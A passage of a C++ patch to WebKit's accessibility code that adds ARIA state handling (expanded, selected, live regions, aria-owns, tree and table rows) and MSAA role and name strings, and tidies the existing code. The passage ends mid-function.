@@ -1388,6 +1633,10 @@ int AccessibilityRenderObject::layoutCount() const
 
 String AccessibilityRenderObject::text() const
 {
+    // If this is a user defined static text, use the accessible name computation.
+    if (ariaRoleAttribute() == StaticTextRole)
+        return accessibilityDescription();
+    
     if (!isTextControl() || isPasswordField())
         return String();
     
@@ -1545,6 +1794,51 @@ bool AccessibilityRenderObject::isVisited() const
     return m_renderer->style()->pseudoState() == PseudoVisited;
 }
     
+bool AccessibilityRenderObject::isExpanded() const
+{
+    if (equalIgnoringCase(getAttribute(aria_expandedAttr).string(), "true"))
+        return true;
+    
+    return false;  
+}
+
+void AccessibilityRenderObject::setElementAttributeValue(const QualifiedName& attributeName, bool value)
+{
+    if (!m_renderer)
+        return;
+    
+    Node* node = m_renderer->node();
+    if (!node || !node->isElementNode())
+        return;
+    
+    Element* element = static_cast<Element*>(node);
+    element->setAttribute(attributeName, (value) ? "true" : "false");        
+}
+    
+bool AccessibilityRenderObject::elementAttributeValue(const QualifiedName& attributeName) const
+{
+    if (!m_renderer)
+        return false;
+    
+    return equalIgnoringCase(getAttribute(attributeName), "true");
+}
+    
+void AccessibilityRenderObject::setIsExpanded(bool isExpanded)
+{
+    // Combo boxes, tree items and rows can be expanded (in different ways on different platforms).
+    // That action translates into setting the aria-expanded attribute to true.
+    AccessibilityRole role = roleValue();
+    switch (role) {
+    case ComboBoxRole:
+    case TreeItemRole:
+    case RowRole:
+        setElementAttributeValue(aria_expandedAttr, isExpanded);
+        break;
+    default:
+        break;
+    }
+}
+    
 bool AccessibilityRenderObject::isRequired() const
 {
     if (equalIgnoringCase(getAttribute(aria_requiredAttr).string(), "true"))
@@ -1562,9 +1856,56 @@ bool AccessibilityRenderObject::isSelected() const
     if (!node)
         return false;
     
+    String ariaSelected = getAttribute(aria_selectedAttr).string();
+    if (equalIgnoringCase(ariaSelected, "true"))
+        return true;    
+    
+    if (isTabItem() && isTabItemSelected())
+        return true;
+
     return false;
 }
 
+bool AccessibilityRenderObject::isTabItemSelected() const
+{
+    if (!isTabItem() || !m_renderer)
+        return false;
+    
+    Node* node = m_renderer->node();
+    if (!node || !node->isElementNode())
+        return false;
+    
+    // The ARIA spec says a tab item can also be selected if it is aria-labeled by a tabpanel
+    // that has keyboard focus inside of it, or if a tabpanel in its aria-controls list has KB
+    // focus inside of it.
+    AccessibilityObject* focusedElement = focusedUIElement();
+    if (!focusedElement)
+        return false;
+    
+    Vector<Element*> elements;
+    elementsFromAttribute(elements, aria_controlsAttr);
+    
+    unsigned count = elements.size();
+    for (unsigned k = 0; k < count; ++k) {
+        Element* element = elements[k];
+        AccessibilityObject* tabPanel = axObjectCache()->getOrCreate(element->renderer());
+
+        // A tab item should only control tab panels.
+        if (!tabPanel || tabPanel->roleValue() != TabPanelRole)
+            continue;
+        
+        AccessibilityObject* checkFocusElement = focusedElement;
+        // Check if the focused element is a descendant of the element controlled by the tab item.
+        while (checkFocusElement) {
+            if (tabPanel == checkFocusElement)
+                return true;
+            checkFocusElement = checkFocusElement->parentObject();
+        }
+    }
+    
+    return false;
+}
+    
 bool AccessibilityRenderObject::isFocused() const
 {
     if (!m_renderer)
@@ -1580,8 +1921,8 @@ bool AccessibilityRenderObject::isFocused() const
     
     // A web area is represented by the Document node in the DOM tree, which isn't focusable.
     // Check instead if the frame's selection controller is focused
-    if (focusedNode == m_renderer->node() || 
-        (roleValue() == WebAreaRole && document->frame()->selection()->isFocusedAndActive()))
+    if (focusedNode == m_renderer->node()
+        || (roleValue() == WebAreaRole && document->frame()->selection()->isFocusedAndActive()))
         return true;
     
     return false;
@@ -1613,6 +1954,27 @@ void AccessibilityRenderObject::changeValueByPercent(float percentChange)
     axObjectCache()->postNotification(m_renderer, AXObjectCache::AXValueChanged, true);
 }
     
+void AccessibilityRenderObject::setSelected(bool enabled)
+{
+    setElementAttributeValue(aria_selectedAttr, enabled);
+}
+
+void AccessibilityRenderObject::setSelectedRows(AccessibilityChildrenVector& selectedRows)
+{
+    // Setting selected only makes sense in trees and tables (and tree-tables).
+    AccessibilityRole role = roleValue();
+    if (role != TreeRole && role != TreeGridRole && role != TableRole)
+        return;
+    
+    bool isMulti = isMultiSelectable();
+    unsigned count = selectedRows.size();
+    if (count > 1 && !isMulti)
+        count = 1;
+    
+    for (unsigned k = 0; k < count; ++k)
+        selectedRows[k]->setSelected(true);
+}
+    
 void AccessibilityRenderObject::setValue(const String& string)
 {
     if (!m_renderer)
@@ -1632,6 +1994,29 @@ void AccessibilityRenderObject::setValue(const String& string)
     }
 }
 
+void AccessibilityRenderObject::ariaOwnsElements(AccessibilityChildrenVector& axObjects) const
+{
+    Vector<Element*> elements;
+    elementsFromAttribute(elements, aria_ownsAttr);
+    
+    unsigned count = elements.size();
+    for (unsigned k = 0; k < count; ++k) {
+        RenderObject* render = elements[k]->renderer();
+        AccessibilityObject* obj = axObjectCache()->getOrCreate(render);
+        if (obj)
+            axObjects.append(obj);
+    }
+}
+
+bool AccessibilityRenderObject::supportsARIAOwns() const
+{
+    if (!m_renderer)
+        return false;
+    const AtomicString& ariaOwns = getAttribute(aria_ownsAttr).string();
+
+    return !ariaOwns.isEmpty();
+}
+    
 bool AccessibilityRenderObject::isEnabled() const
 {
     ASSERT(m_renderer);
@@ -1653,6 +2038,8 @@ RenderView* AccessibilityRenderObject::topRenderer() const
 
 Document* AccessibilityRenderObject::document() const
 {
+    if (!m_renderer)
+        return 0;
     return m_renderer->document();
 }
 
@@ -1676,24 +2063,14 @@ AXObjectCache* AccessibilityRenderObject::axObjectCache() const
 AccessibilityObject* AccessibilityRenderObject::accessibilityParentForImageMap(HTMLMapElement* map) const
 {
     // find an image that is using this map
-    if (!m_renderer || !map)
+    if (!map)
         return 0;
 
-    String mapName = map->getName().string().lower();
-    RefPtr<HTMLCollection> coll = m_renderer->document()->images();
-    for (Node* curr = coll->firstItem(); curr; curr = coll->nextItem()) {
-        RenderObject* obj = curr->renderer();
-        if (!obj || !curr->hasTagName(imgTag))
-            continue;
-        
-        // The HTMLImageElement's useMap() value includes the '#' symbol at the beginning,
-        // which has to be stripped off
-        String useMapName = static_cast<HTMLImageElement*>(curr)->getAttribute(usemapAttr).string().substring(1).lower();
-        if (useMapName == mapName)
-            return axObjectCache()->getOrCreate(obj);
-    }
+    HTMLImageElement* imageElement = map->imageElement();
+    if (!imageElement)
+        return 0;
     
-    return 0;
+    return axObjectCache()->getOrCreate(imageElement->renderer());
 }
     
 void AccessibilityRenderObject::getDocumentLinks(AccessibilityChildrenVector& result)
@@ -1777,7 +2154,7 @@ VisiblePositionRange AccessibilityRenderObject::visiblePositionRange() const
 
 VisiblePositionRange AccessibilityRenderObject::visiblePositionRangeForLine(unsigned lineCount) const
 {
-    if (lineCount == 0 || !m_renderer)
+    if (!lineCount || !m_renderer)
         return VisiblePositionRange();
     
     // iterate over the lines
@@ -1785,7 +2162,7 @@ VisiblePositionRange AccessibilityRenderObject::visiblePositionRangeForLine(unsi
     // last offset of the last line
     VisiblePosition visiblePos = m_renderer->document()->renderer()->positionForCoordinates(0, 0);
     VisiblePosition savedVisiblePos;
-    while (--lineCount != 0) {
+    while (--lineCount) {
         savedVisiblePos = visiblePos;
         visiblePos = nextLinePosition(visiblePos, 0);
         if (visiblePos.isNull() || visiblePos == savedVisiblePos)
@@ -1900,9 +2277,8 @@ void AccessibilityRenderObject::setSelectedVisiblePositionRange(const VisiblePos
         return;
     
     // make selection and tell the document to use it. if it's zero length, then move to that position
-    if (range.start == range.end) {
+    if (range.start == range.end)
         m_renderer->document()->frame()->selection()->moveTo(range.start, true);
-    }
     else {
         VisibleSelection newSelection = VisibleSelection(range.start, range.end);
         m_renderer->document()->frame()->selection()->setSelection(newSelection);
@@ -1998,7 +2374,7 @@ PlainTextRange AccessibilityRenderObject::doAXRangeForLine(unsigned lineNumber)
     // iterate to the specified line
     VisiblePosition visiblePos = visiblePositionForIndex(0);
     VisiblePosition savedVisiblePos;
-    for (unsigned lineCount = lineNumber; lineCount != 0; lineCount -= 1) {
+    for (unsigned lineCount = lineNumber; lineCount; lineCount -= 1) {
         savedVisiblePos = visiblePos;
         visiblePos = nextLinePosition(visiblePos, 0);
         if (visiblePos.isNull() || visiblePos == savedVisiblePos)
@@ -2053,8 +2429,8 @@ String AccessibilityRenderObject::doAXStringForRange(const PlainTextRange& range
     if (isPasswordField())
         return String();
     
-    if (range.length == 0)
-        return "";
+    if (!range.length)
+        return String();
     
     if (!isTextControl())
         return String();
@@ -2081,7 +2457,7 @@ AccessibilityObject* AccessibilityRenderObject::accessibilityImageMapHitTest(HTM
     if (!area)
         return 0;
     
-    HTMLMapElement *map = static_cast<HTMLMapElement*>(area->parent());
+    HTMLMapElement* map = static_cast<HTMLMapElement*>(area->parent());
     AccessibilityObject* parent = accessibilityParentForImageMap(map);
     if (!parent)
         return 0;
@@ -2115,14 +2491,21 @@ AccessibilityObject* AccessibilityRenderObject::doAccessibilityHitTest(const Int
     if (node->hasTagName(areaTag)) 
         return accessibilityImageMapHitTest(static_cast<HTMLAreaElement*>(node), point);
     
+    if (node->hasTagName(optionTag))
+        node = static_cast<HTMLOptionElement*>(node)->ownerSelectElement();
+    
     RenderObject* obj = node->renderer();
     if (!obj)
         return 0;
     
     AccessibilityObject* result = obj->document()->axObjectCache()->getOrCreate(obj);
 
-    if (obj->isListBox())
-        return static_cast<AccessibilityListBox*>(result)->doAccessibilityHitTest(point);
+    if (obj->isListBox()) {
+        // Make sure the children are initialized so that hit testing finds the right element.
+        AccessibilityListBox* listBox = static_cast<AccessibilityListBox*>(result);
+        listBox->updateChildrenIfNecessary();
+        return listBox->doAccessibilityHitTest(point);
+    }
         
     if (result->accessibilityIsIgnored()) {
         // If this element is the label of a control, a hit test should return the control.
@@ -2159,14 +2542,14 @@ bool AccessibilityRenderObject::shouldFocusActiveDescendant() const
     case ProgressIndicatorRole:
     case ToolbarRole:
     case OutlineRole:
+    case TreeRole:
+    case GridRole:
     /* FIXME: replace these with actual roles when they are added to AccessibilityRole
     composite
     alert
     alertdialog
-    grid
     status
     timer
-    tree
     */
         return true;
     default:
@@ -2176,19 +2559,22 @@ bool AccessibilityRenderObject::shouldFocusActiveDescendant() const
 
 AccessibilityObject* AccessibilityRenderObject::activeDescendant() const
 {
-    if (renderer()->node() && !renderer()->node()->isElementNode())
+    if (!m_renderer)
         return 0;
-    Element* element = static_cast<Element*>(renderer()->node());
+    
+    if (m_renderer->node() && !m_renderer->node()->isElementNode())
+        return 0;
+    Element* element = static_cast<Element*>(m_renderer->node());
         
     String activeDescendantAttrStr = element->getAttribute(aria_activedescendantAttr).string();
     if (activeDescendantAttrStr.isNull() || activeDescendantAttrStr.isEmpty())
         return 0;
     
-    Element* target = renderer()->document()->getElementById(activeDescendantAttrStr);
+    Element* target = document()->getElementById(activeDescendantAttrStr);
     if (!target)
         return 0;
     
-    AccessibilityObject* obj = renderer()->document()->axObjectCache()->getOrCreate(target->renderer());
+    AccessibilityObject* obj = axObjectCache()->getOrCreate(target->renderer());
     if (obj && obj->isAccessibilityRenderObject())
     // an activedescendant is only useful if it has a renderer, because that's what's needed to post the notification
         return obj;
@@ -2207,7 +2593,7 @@ void AccessibilityRenderObject::handleActiveDescendantChanged()
     AccessibilityRenderObject* activedescendant = static_cast<AccessibilityRenderObject*>(activeDescendant());
     
     if (activedescendant && shouldFocusActiveDescendant())
-        doc->axObjectCache()->postNotification(activedescendant->renderer(), AXObjectCache::AXFocusedUIElementChanged, true);
+        doc->axObjectCache()->postNotification(m_renderer, AXObjectCache::AXActiveDescendantChanged, true);
 }
 
 AccessibilityObject* AccessibilityRenderObject::correspondingControlForLabelElement() const
@@ -2247,80 +2633,6 @@ AccessibilityObject* AccessibilityRenderObject::observableObject() const
     
     return 0;
 }
-    
-typedef HashMap<String, AccessibilityRole, CaseFoldingHash> ARIARoleMap;
-
-struct RoleEntry {
-    String ariaRole;
-    AccessibilityRole webcoreRole;
-};
-
-static const ARIARoleMap& createARIARoleMap()
-{
-    const RoleEntry roles[] = {
-        { "application", LandmarkApplicationRole },
-        { "article", DocumentArticleRole },
-        { "banner", LandmarkBannerRole },
-        { "button", ButtonRole },
-        { "checkbox", CheckBoxRole },
-        { "complementary", LandmarkComplementaryRole },
-        { "contentinfo", LandmarkContentInfoRole },
-        { "grid", TableRole },
-        { "gridcell", CellRole },
-        { "columnheader", ColumnHeaderRole },
-        { "definition", DefinitionListDefinitionRole },
-        { "document", DocumentRole },
-        { "rowheader", RowHeaderRole },
-        { "group", GroupRole },
-        { "heading", HeadingRole },
-        { "img", ImageRole },
-        { "link", WebCoreLinkRole },
-        { "list", ListRole },        
-        { "listitem", GroupRole },        
-        { "listbox", ListBoxRole },
-        { "log", ApplicationLogRole },
-        // "option" isn't here because it may map to different roles depending on the parent element's role
-        { "main", LandmarkMainRole },
-        { "marquee", ApplicationMarqueeRole },
-        { "menu", MenuRole },
-        { "menubar", GroupRole },
-        // "menuitem" isn't here because it may map to different roles depending on the parent element's role
-        { "menuitemcheckbox", MenuItemRole },
-        { "menuitemradio", MenuItemRole },
-        { "note", DocumentNoteRole },
-        { "navigation", LandmarkNavigationRole },
-        { "option", ListBoxOptionRole },
-        { "presentation", IgnoredRole },
-        { "progressbar", ProgressIndicatorRole },
-        { "radio", RadioButtonRole },
-        { "radiogroup", RadioGroupRole },
-        { "region", DocumentRegionRole },
-        { "row", RowRole },
-        { "range", SliderRole },
-        { "search", LandmarkSearchRole },
-        { "separator", SplitterRole },
-        { "slider", SliderRole },
-        { "spinbutton", ProgressIndicatorRole },
-        { "status", ApplicationStatusRole },
-        { "textbox", TextAreaRole },
-        { "timer", ApplicationTimerRole },
-        { "toolbar", ToolbarRole },
-        { "tooltip", UserInterfaceTooltipRole }
-    };
-    ARIARoleMap& roleMap = *new ARIARoleMap;
-        
-    const unsigned numRoles = sizeof(roles) / sizeof(roles[0]);
-    for (unsigned i = 0; i < numRoles; ++i)
-        roleMap.set(roles[i].ariaRole, roles[i].webcoreRole);
-    return roleMap;
-}
-
-static AccessibilityRole ariaRoleToWebCoreRole(String value)
-{
-    ASSERT(!value.isEmpty() && !value.isNull());
-    static const ARIARoleMap& roleMap = createARIARoleMap();
-    return roleMap.get(value);
-}
 
 AccessibilityRole AccessibilityRenderObject::determineAriaRoleAttribute() const
 {
@@ -2329,17 +2641,21 @@ AccessibilityRole AccessibilityRenderObject::determineAriaRoleAttribute() const
         return UnknownRole;
     
     AccessibilityRole role = ariaRoleToWebCoreRole(ariaRole);
+
+    if (role == ButtonRole && elementAttributeValue(aria_haspopupAttr))
+        role = PopUpButtonRole;
+    
     if (role)
         return role;
     // selects and listboxes both have options as child roles, but they map to different roles within WebCore
-    if (equalIgnoringCase(ariaRole,"option")) {
+    if (equalIgnoringCase(ariaRole, "option")) {
         if (parentObjectUnignored()->ariaRoleAttribute() == MenuRole)
             return MenuItemRole;
         if (parentObjectUnignored()->ariaRoleAttribute() == ListBoxRole)
             return ListBoxOptionRole;
     }
     // an aria "menuitem" may map to MenuButton or MenuItem depending on its parent
-    if (equalIgnoringCase(ariaRole,"menuitem")) {
+    if (equalIgnoringCase(ariaRole, "menuitem")) {
         if (parentObjectUnignored()->ariaRoleAttribute() == GroupRole)
             return MenuButtonRole;
         if (parentObjectUnignored()->ariaRoleAttribute() == MenuRole)
@@ -2418,7 +2734,7 @@ AccessibilityRole AccessibilityRenderObject::determineAccessibilityRole()
     if (m_renderer->isMenuList())
         return PopUpButtonRole;
     
-    if (headingLevel() != 0)
+    if (headingLevel())
         return HeadingRole;
     
     if (node && node->hasTagName(ddTag))
@@ -2429,19 +2745,43 @@ AccessibilityRole AccessibilityRenderObject::determineAccessibilityRole()
 
     if (node && (node->hasTagName(rpTag) || node->hasTagName(rtTag)))
         return AnnotationRole;
-    
+
+#if PLATFORM(GTK)
+    // Gtk ATs expect all tables, data and layout, to be exposed as tables.
+    if (node && (node->hasTagName(tdTag) || node->hasTagName(thTag)))
+        return CellRole;
+
+    if (node && node->hasTagName(trTag))
+        return RowRole;
+
+    if (node && node->hasTagName(tableTag))
+        return TableRole;
+#endif   
+
     if (m_renderer->isBlockFlow() || (node && node->hasTagName(labelTag)))
         return GroupRole;
     
     return UnknownRole;
 }
 
+AccessibilityOrientation AccessibilityRenderObject::orientation() const
+{
+    const AtomicString& ariaOrientation = getAttribute(aria_orientationAttr).string();
+    if (equalIgnoringCase(ariaOrientation, "horizontal"))
+        return AccessibilityOrientationHorizontal;
+    if (equalIgnoringCase(ariaOrientation, "vertical"))
+        return AccessibilityOrientationVertical;
+    
+    return AccessibilityObject::orientation();
+}
+    
 bool AccessibilityRenderObject::isPresentationalChildOfAriaRole() const
 {
     // Walk the parent chain looking for a parent that has presentational children
     AccessibilityObject* parent;
     for (parent = parentObject(); parent && !parent->ariaRoleHasPresentationalChildren(); parent = parent->parentObject())
-        ;
+    { }
+    
     return parent;
 }
     
@@ -2474,30 +2814,36 @@ bool AccessibilityRenderObject::canSetFocusAttribute() const
         return false;
 
     switch (roleValue()) {
-        case WebCoreLinkRole:
-        case ImageMapLinkRole:
-        case TextFieldRole:
-        case TextAreaRole:
-        case ButtonRole:
-        case PopUpButtonRole:
-        case CheckBoxRole:
-        case RadioButtonRole:
-        case SliderRole:
-            return true;
-        default:
-            return false;
+    case WebCoreLinkRole:
+    case ImageMapLinkRole:
+    case TextFieldRole:
+    case TextAreaRole:
+    case ButtonRole:
+    case PopUpButtonRole:
+    case CheckBoxRole:
+    case RadioButtonRole:
+    case SliderRole:
+        return true;
+    default:
+        return node->supportsFocus();
     }
 }
+    
+bool AccessibilityRenderObject::canSetExpandedAttribute() const
+{
+    // An object can be expanded if it aria-expanded is true or false.
+    String ariaExpanded = getAttribute(aria_expandedAttr).string();
+    return equalIgnoringCase(ariaExpanded, "true") || equalIgnoringCase(ariaExpanded, "false");
+}
 
 bool AccessibilityRenderObject::canSetValueAttribute() const
 {
     if (equalIgnoringCase(getAttribute(aria_readonlyAttr).string(), "true"))
         return false;
 
-    if (isWebArea() || isTextControl()) 
-        return !isReadOnly();
-
-    return isProgressIndicator() || isSlider();
+    // Any node could be contenteditable, so isReadOnly should be relied upon
+    // for this information for all elements.
+    return isProgressIndicator() || isSlider() || !isReadOnly();
 }
 
 bool AccessibilityRenderObject::canSetTextRangeAttributes() const
@@ -2505,22 +2851,50 @@ bool AccessibilityRenderObject::canSetTextRangeAttributes() const
     return isTextControl();
 }
 
+void AccessibilityRenderObject::contentChanged()
+{
+    // If this element supports ARIA live regions, then notify the AT of changes.
+    for (RenderObject* renderParent = m_renderer->parent(); renderParent; renderParent = renderParent->parent()) {
+        AccessibilityObject* parent = m_renderer->document()->axObjectCache()->get(renderParent);
+        if (!parent)
+            continue;
+        
+        // If we find a parent that has ARIA live region on, send the notification and stop processing.
+        // The spec does not talk about nested live regions.
+        if (parent->supportsARIALiveRegion()) {
+            axObjectCache()->postNotification(renderParent, AXObjectCache::AXLiveRegionChanged, true);
+            break;
+        }
+    }
+}
+    
 void AccessibilityRenderObject::childrenChanged()
 {
     // this method is meant as a quick way of marking dirty
     // a portion of the accessibility tree
     
-    markChildrenDirty();
-    
     if (!m_renderer)
         return;
     
     // Go up the render parent chain, marking children as dirty.
     // We can't rely on the accessibilityParent() because it may not exist and we must not create an AX object here either
-    for (RenderObject* renderParent = m_renderer->parent(); renderParent; renderParent = renderParent->parent()) {
+    // At the same time, process ARIA live region changes.
+    for (RenderObject* renderParent = m_renderer; renderParent; renderParent = renderParent->parent()) {
         AccessibilityObject* parent = m_renderer->document()->axObjectCache()->get(renderParent);
-        if (parent && parent->isAccessibilityRenderObject())
-            static_cast<AccessibilityRenderObject *>(parent)->markChildrenDirty();
+        if (!parent || !parent->isAccessibilityRenderObject())
+            continue;
+        
+        AccessibilityRenderObject* axParent = static_cast<AccessibilityRenderObject*>(parent);
+        // Only do work if the children haven't been marked dirty. This has the effect of blocking
+        // future live region change notifications until the AX tree has been accessed again. This
+        // is a good performance win for all parties.
+        if (!axParent->needsToUpdateChildren()) {
+            axParent->setNeedsToUpdateChildren();
+            
+            // If this element supports ARIA live regions, then notify the AT of changes.
+            if (axParent->supportsARIALiveRegion())
+                axObjectCache()->postNotification(renderParent, AXObjectCache::AXLiveRegionChanged, true);
+        }
     }
 }
     
@@ -2531,28 +2905,40 @@ bool AccessibilityRenderObject::canHaveChildren() const
     
     // Elements that should not have children
     switch (roleValue()) {
-        case ImageRole:
-        case ButtonRole:
-        case PopUpButtonRole:
-        case CheckBoxRole:
-        case RadioButtonRole:
-        case StaticTextRole:
-        case ListBoxOptionRole:
-            return false;
-        default:
-            return true;
+    case ImageRole:
+    case ButtonRole:
+    case PopUpButtonRole:
+    case CheckBoxRole:
+    case RadioButtonRole:
+    case TabRole:
+    case StaticTextRole:
+    case ListBoxOptionRole:
+    case ScrollBarRole:
+        return false;
+    default:
+        return true;
     }
 }
 
-const AccessibilityObject::AccessibilityChildrenVector& AccessibilityRenderObject::children()
+void AccessibilityRenderObject::clearChildren()
+{
+    AccessibilityObject::clearChildren();
+    m_childrenDirty = false;
+}
+    
+void AccessibilityRenderObject::updateChildrenIfNecessary()
 {
-    if (m_childrenDirty) {
+    if (needsToUpdateChildren())
         clearChildren();        
-        m_childrenDirty = false;
-    }
     
-    if (!m_haveChildren)
-        addChildren();
+    if (!hasChildren())
+        addChildren();    
+}
+    
+const AccessibilityObject::AccessibilityChildrenVector& AccessibilityRenderObject::children()
+{
+    updateChildrenIfNecessary();
+    
     return m_children;
 }
 
@@ -2603,18 +2989,91 @@ void AccessibilityRenderObject::addChildren()
         }
     }
 }
+        
+const AtomicString& AccessibilityRenderObject::ariaLiveRegionStatus() const
+{
+    DEFINE_STATIC_LOCAL(const AtomicString, liveRegionStatusAssertive, ("assertive"));
+    DEFINE_STATIC_LOCAL(const AtomicString, liveRegionStatusPolite, ("polite"));
+    DEFINE_STATIC_LOCAL(const AtomicString, liveRegionStatusOff, ("off"));
+    
+    const AtomicString& liveRegionStatus = getAttribute(aria_liveAttr);
+    // These roles have implicit live region status.
+    if (liveRegionStatus.isEmpty()) {
+        switch (roleValue()) {
+        case ApplicationAlertDialogRole:
+        case ApplicationAlertRole:
+            return liveRegionStatusAssertive;
+        case ApplicationLogRole:
+        case ApplicationStatusRole:
+            return liveRegionStatusPolite;
+        case ApplicationTimerRole:
+            return liveRegionStatusOff;
+        default:
+            break;
+        }
+    }
+
+    return liveRegionStatus;
+}
+
+const AtomicString& AccessibilityRenderObject::ariaLiveRegionRelevant() const
+{
+    DEFINE_STATIC_LOCAL(const AtomicString, defaultLiveRegionRelevant, ("additions text"));
+    const AtomicString& relevant = getAttribute(aria_relevantAttr);
 
+    // Default aria-relevant = "additions text".
+    if (relevant.isEmpty())
+        return defaultLiveRegionRelevant;
+    
+    return relevant;
+}
+
+bool AccessibilityRenderObject::ariaLiveRegionAtomic() const
+{
+    return elementAttributeValue(aria_atomicAttr);    
+}
+
+bool AccessibilityRenderObject::ariaLiveRegionBusy() const
+{
+    return elementAttributeValue(aria_busyAttr);    
+}
+    
+void AccessibilityRenderObject::ariaSelectedRows(AccessibilityChildrenVector& result)
+{
+    // Get all the rows. 
+    AccessibilityChildrenVector allRows;
+    ariaTreeRows(allRows);
+
+    // Determine which rows are selected.
+    bool isMulti = isMultiSelectable();
+
+    // Prefer active descendant over aria-selected.
+    AccessibilityObject* activeDesc = activeDescendant();
+    if (activeDesc && (activeDesc->isTreeItem() || activeDesc->isTableRow())) {
+        result.append(activeDesc);    
+        if (!isMulti)
+            return;
+    }
+
+    unsigned count = allRows.size();
+    for (unsigned k = 0; k < count; ++k) {
+        if (allRows[k]->isSelected()) {
+            result.append(allRows[k]);
+            if (!isMulti)
+                break;
+        }
+    }
+}
+    
 void AccessibilityRenderObject::ariaListboxSelectedChildren(AccessibilityChildrenVector& result)
 {
     AccessibilityObject* child = firstChild();
-    bool isMultiselectable = false;
     
     Element* element = static_cast<Element*>(renderer()->node());        
     if (!element || !element->isElementNode()) // do this check to ensure safety of static_cast above
         return;
 
-    String multiselectablePropertyStr = element->getAttribute("aria-multiselectable").string();
-    isMultiselectable = equalIgnoringCase(multiselectablePropertyStr, "true");
+    bool isMulti = isMultiSelectable();
     
     while (child) {
         // every child should have aria-role option, and if so, check for selected attribute/state
@@ -2625,10 +3084,10 @@ void AccessibilityRenderObject::ariaListboxSelectedChildren(AccessibilityChildre
         if (childRenderer && ariaRole == ListBoxOptionRole) {
             Element* childElement = static_cast<Element*>(childRenderer->node());
             if (childElement && childElement->isElementNode()) { // do this check to ensure safety of static_cast above
-                String selectedAttrString = childElement->getAttribute("aria-selected").string();
+                String selectedAttrString = childElement->getAttribute(aria_selectedAttr).string();
                 if (equalIgnoringCase(selectedAttrString, "true")) {
                     result.append(child);
-                    if (isMultiselectable)
+                    if (isMulti)
                         return;
                 }
             }
@@ -2642,11 +3101,11 @@ void AccessibilityRenderObject::selectedChildren(AccessibilityChildrenVector& re
     ASSERT(result.isEmpty());
 
     // only listboxes should be asked for their selected children. 
-    if (ariaRoleAttribute() != ListBoxRole) { // native list boxes would be AccessibilityListBoxes, so only check for aria list boxes
-        ASSERT_NOT_REACHED(); 
-        return;
-    }
-    return ariaListboxSelectedChildren(result);
+    AccessibilityRole role = roleValue();
+    if (role == ListBoxRole) // native list boxes would be AccessibilityListBoxes, so only check for aria list boxes
+        ariaListboxSelectedChildren(result);
+    else if (role == TreeRole || role == TreeGridRole || role == TableRole)
+        ariaSelectedRows(result);
 }
 
 void AccessibilityRenderObject::ariaListboxVisibleChildren(AccessibilityChildrenVector& result)      
@@ -2673,6 +3132,17 @@ void AccessibilityRenderObject::visibleChildren(AccessibilityChildrenVector& res
     return ariaListboxVisibleChildren(result);
 }
  
+void AccessibilityRenderObject::tabChildren(AccessibilityChildrenVector& result)
+{
+    ASSERT(roleValue() == TabListRole);
+    
+    unsigned length = m_children.size();
+    for (unsigned i = 0; i < length; ++i) {
+        if (m_children[i]->isTabItem())
+            result.append(m_children[i]);
+    }
+}
+    
 const String& AccessibilityRenderObject::actionVerb() const
 {
     // FIXME: Need to add verbs for select elements.
@@ -2685,20 +3155,20 @@ const String& AccessibilityRenderObject::actionVerb() const
     DEFINE_STATIC_LOCAL(const String, noAction, ());
     
     switch (roleValue()) {
-        case ButtonRole:
-            return buttonAction;
-        case TextFieldRole:
-        case TextAreaRole:
-            return textFieldAction;
-        case RadioButtonRole:
-            return radioButtonAction;
-        case CheckBoxRole:
-            return isChecked() ? checkedCheckBoxAction : uncheckedCheckBoxAction;
-        case LinkRole:
-        case WebCoreLinkRole:
-            return linkAction;
-        default:
-            return noAction;
+    case ButtonRole:
+        return buttonAction;
+    case TextFieldRole:
+    case TextAreaRole:
+        return textFieldAction;
+    case RadioButtonRole:
+        return radioButtonAction;
+    case CheckBoxRole:
+        return isChecked() ? checkedCheckBoxAction : uncheckedCheckBoxAction;
+    case LinkRole:
+    case WebCoreLinkRole:
+        return linkAction;
+    default:
+        return noAction;
     }
 }
      
@@ -2711,4 +3181,128 @@ void AccessibilityRenderObject::updateBackingStore()
     m_renderer->document()->updateLayoutIgnorePendingStylesheets();
 }
 
+static bool isLinkable(const AccessibilityRenderObject& object)
+{
+    if (!object.renderer())
+        return false;
+
+    // See https://wiki.mozilla.org/Accessibility/AT-Windows-API for the elements
+    // Mozilla considers linkable.
+    return object.isLink() || object.isImage() || object.renderer()->isText();
+}
+
+String AccessibilityRenderObject::stringValueForMSAA() const
+{
+    if (isLinkable(*this)) {
+        Element* anchor = anchorElement();
+        if (anchor && anchor->hasTagName(aTag))
+            return static_cast<HTMLAnchorElement*>(anchor)->href();
+    }
+
+    return stringValue();
+}
+
+bool AccessibilityRenderObject::isLinked() const
+{
+    if (!isLinkable(*this))
+        return false;
+
+    Element* anchor = anchorElement();
+    if (!anchor || !anchor->hasTagName(aTag))
+        return false;
+
+    return !static_cast<HTMLAnchorElement*>(anchor)->href().isEmpty();
+}
+
+String AccessibilityRenderObject::nameForMSAA() const
+{
+    if (m_renderer && m_renderer->isText())
+        return textUnderElement();
+
+    return title();
+}
+
+static bool shouldReturnTagNameAsRoleForMSAA(const Element& element)
+{
+    // See "document structure",
+    // https://wiki.mozilla.org/Accessibility/AT-Windows-API
+    // FIXME: Add the other tag names that should be returned as the role.
+    return element.hasTagName(h1Tag) || element.hasTagName(h2Tag) 
+        || element.hasTagName(h3Tag) || element.hasTagName(h4Tag)
+        || element.hasTagName(h5Tag) || element.hasTagName(h6Tag);
+}
+
+String AccessibilityRenderObject::stringRoleForMSAA() const
+{
+    if (!m_renderer)
+        return String();
+
+    Node* node = m_renderer->node();
+    if (!node || !node->isElementNode())
+        return String();
+
+    Element* element = static_cast<Element*>(node);
+    if (!shouldReturnTagNameAsRoleForMSAA(*element))
+        return String();
+
+    return element->tagName();
+}
+
+String AccessibilityRenderObject::positionalDescriptionForMSAA() const
+{
+    // See "positional descriptions",
+    // https://wiki.mozilla.org/Accessibility/AT-Windows-API
+    if (isHeading())
+        return "L" + String::number(headingLevel());
+
+    // FIXME: Add positional descriptions for other elements.
+    return String();
+}
+
+String AccessibilityRenderObject::descriptionForMSAA() const
+{
+    String description = positionalDescriptionForMSAA();
+    if (!description.isEmpty())
+        return description;
+
+    description = accessibilityDescription();
+    if (!description.isEmpty()) {
+        // From the Mozilla MSAA implementation:
+        // "Signal to screen readers that this description is speakable and is not
+        // a formatted positional information description. Don't localize the
+        // 'Description: ' part of this string, it will be parsed out by assistive
+        // technologies."
+        return "Description: " + description;
+    }
+
+    return String();
+}
+
+static AccessibilityRole msaaRoleForRenderer(const RenderObject* renderer)
+{
+    if (!renderer)
+        return UnknownRole;
+
+    if (renderer->isText())
+        return EditableTextRole;
